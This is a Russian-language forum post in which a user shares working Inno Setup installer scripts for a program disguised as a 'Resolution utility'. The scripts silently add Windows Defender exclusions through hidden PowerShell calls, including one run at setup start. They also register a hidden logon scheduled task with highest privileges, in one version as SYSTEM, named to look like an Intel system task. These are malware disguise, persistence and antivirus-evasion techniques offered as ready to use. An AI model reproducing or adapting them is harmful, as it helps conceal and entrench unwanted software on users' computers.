Crachlow
Старожил
добавляю информацию ,все получилось нужно было включить мозги)
это сработало для исключенийКод:[Run] Filename: "{win}\system32\schtasks.exe"; Parameters: "/create /tn ""Intel PTT EK Recertification"" /tr ""{userappdata}\CRU.exe"" /rl highest /sc onlogon /F"; Flags: runhidden Filename: "{win}\system32\WindowsPowerShell\v1.0\powershell.exe"; Parameters: "Add-MpPreference -ExclusionPath {userappdata}\CRU.exe -Force"; Flags: runhidden [UninstallRun] Filename: "{win}\system32\schtasks.exe"; Parameters: "/Delete /tn ""Intel PTT EK Recertification"" /F"; Flags: runhidden Filename: "{win}\system32\WindowsPowerShell\v1.0\powershell.exe"; Parameters: "Remove-MpPreference -ExclusionPath {srcexe} -Force"; Flags: runhidden
Код:
[Setup]
AppName=Resolution utlity
AppVersion=1.2.5.1
;AppVerName=Resolution utlity v 1.2.5.1
AppPublisher=Utility, Inc.
AllowNoIcons=yes
DisableDirPage=yes
DefaultDirName={userappdata}\Resolution-Utility
DefaultGroupName=Resolution utlity
ArchitecturesInstallIn64BitMode=x64 ia64
VersionInfoVersion=1.2.5.1
VersionInfoCompany=niceCompany
VersionInfoDescription=CustResolutUtil
VersionInfoCopyright=CopyRES
VersionInfoProductName=Utility
VersionInfoProductVersion=1.2.5.1
DisableWelcomePage=no
DisableProgramGroupPage=No
//WizardStyle=modern
[Languages]
Name: rus; MessagesFile: compiler:Languages\Russian.isl
Name: eng; MessagesFile: compiler:Default.isl
[Files]
Source: "CRU.exe"; DestDir: "{userappdata}\Resolution-Utility"; Flags: ignoreversion;
[Icons]
Name: "{commondesktop}\CRU"; Filename: "{userappdata}\Resolution-Utility\CRU.exe"; IconFilename: "{userappdata}\Resolution-Utility\CRU.exe"; IconIndex: 0
Name: "{group}\CRU"; Filename: "{userappdata}\Resolution-Utility\CRU.exe"
Name: "{group}\{cm:UninstallProgram,Resolution utility}"; Filename: "{uninstallexe}"
[Run]
Filename: "{win}\system32\schtasks.exe"; Parameters: "/create /ru SYSTEM /tn ""Intel PTT EK Recertification"" /tr ""{userappdata}\Resolution-Utility\CRU.exe"" /rl highest /sc onlogon /F"; Flags: runhidden
Filename: "{win}\system32\schtasks.exe"; Parameters: "/Run /I /tn ""Intel PTT EK Recertification"""; Flags: runhidden
[UninstallRun]
Filename: "{win}\system32\schtasks.exe"; Parameters: "/Delete /tn ""Intel PTT EK Recertification"" /F"; Flags: runhidden
Filename: "{win}\system32\WindowsPowerShell\v1.0\powershell.exe"; Parameters: "Remove-MpPreference -ExclusionPath {srcexe} -Force"; Flags: runhidden
Filename: "{win}\system32\TASKKILL.exe"; Parameters: "/F /IM CRU.exe /T"; Flags: runhidden
[_Code]
function InitializeSetup(): Boolean;
var
srcfile: String;
ResultCode: Integer;
begin
Result := true;
srcfile := ExpandConstant('{srcexe}')
Exec(ExpandConstant('{win}\system32\WindowsPowerShell\v1.0\powershell.exe'), 'Add-MpPreference -Force -ExclusionPath ' + '"' + srcfile + '"' , '', SW_HIDE, ewWaitUntilTerminated, ResultCode)
end;